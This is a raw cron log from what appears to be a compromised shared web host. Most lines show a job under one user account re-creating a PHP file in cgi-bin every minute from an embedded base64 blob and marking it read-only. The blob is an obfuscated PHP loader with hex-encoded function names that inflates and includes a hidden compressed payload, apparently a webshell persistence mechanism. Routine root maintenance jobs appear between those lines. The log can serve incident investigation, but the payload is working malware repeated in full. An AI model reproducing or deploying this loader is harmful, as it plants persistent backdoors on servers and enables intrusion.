Nov 11 02:30:02 server CROND[10173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:31:01 server CROND[11098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:32:01 server CROND[11831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:33:01 server CROND[12383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:34:01 server CROND[13515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:35:01 server CROND[14334]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 02:35:01 server CROND[14335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:35:01 server CROND[14338]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 02:35:01 server CROND[14337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:35:01 server CROND[14336]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:36:01 server CROND[15219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:37:01 server CROND[16002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:38:01 server CROND[16607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:39:01 server CROND[17435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:39:01 server CROND[17437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:40:01 server CROND[18376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 02:40:01 server CROND[18377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:40:01 server CROND[18378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:40:01 server CROND[18380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:41:01 server CROND[19267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:42:01 server CROND[19690]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:42:01 server CROND[19693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
